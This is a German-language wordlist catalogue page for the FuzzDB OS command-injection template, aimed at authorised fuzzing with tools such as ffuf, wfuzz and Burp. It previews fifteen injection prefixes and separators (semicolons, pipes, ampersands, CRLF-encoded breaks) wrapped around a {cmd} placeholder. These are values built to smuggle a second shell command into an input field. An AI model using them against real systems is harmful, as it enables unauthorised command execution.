Skip to content
Fuzzing805 B

FuzzDB OS Command Injection Template

Templatisierte Präfixe/Trennzeichen für OS-Command-Injection mit einem {cmd}-Platzhalter, die Shell-Trennzeichen, Umleitungen und CRLF-kodierte Ausbrüche abdecken. Setzen Sie Ihren Befehl vor dem Fuzzing in die Vorlage ein.

Quelle ansehen
Größe
805 B
Kategorie
Fuzzing
Quelle
fuzzdb-project/fuzzdb
Lizenz
GPLv2
Empfohlene Tools
ffufwfuzzburp

Vorschau

Die ersten 15 Einträge. Lade die vollständige Liste (805 B) herunter oder kopiere sie über die Schaltflächen oben.

>head os-command-injection-template-fuzzdb.txt805 B
{cmd}
;{cmd}
;{cmd};
^{cmd}
|{cmd}
<{cmd}
<{cmd};
<{cmd}\n
<{cmd}%0D
<{cmd}%0A
&{cmd}
&{cmd}&
&&{cmd}
&&{cmd}&&
%0D{cmd}

Templatisierte Präfixe/Trennzeichen für OS-Command-Injection mit einem {cmd}-Platzhalter, die Shell-Trennzeichen, Umleitungen und CRLF-kodierte Ausbrüche abdecken. Setzen Sie Ihren Befehl vor dem Fuzzing in die Vorlage ein.

Diese Liste ist auf Input-Fuzzing und Schwachstellensuche ausgerichtet. Sie umfasst rund 805 B und harmoniert gut mit Tools wie ffuf, wfuzz, burp. Wählen Sie die kleinste Liste, die zu Ihrem Auftrag passt: Kürzere Listen sind schneller und unauffälliger bei Online- Angriffen, während größere Listen eine breitere Abdeckung für Offline-Arbeiten bieten, bei denen Geschwindigkeit weniger eine Einschränkung darstellt.

Sie können die Beispielvorschau direkt von dieser Seite kopieren, die gesamte Liste in Ihre Zwischenablage kopieren oder die rohe .txt-Datei herunterladen. Die vollständige Liste wird direkt aus ihrer Upstream-Quelle auf GitHub ausgeliefert.

Bezogen von fuzzdb-project/fuzzdb und vertrieben unter GPLv2. Verwenden Sie Wortlisten nur gegen Systeme, für deren Test Sie ausdrücklich autorisiert sind.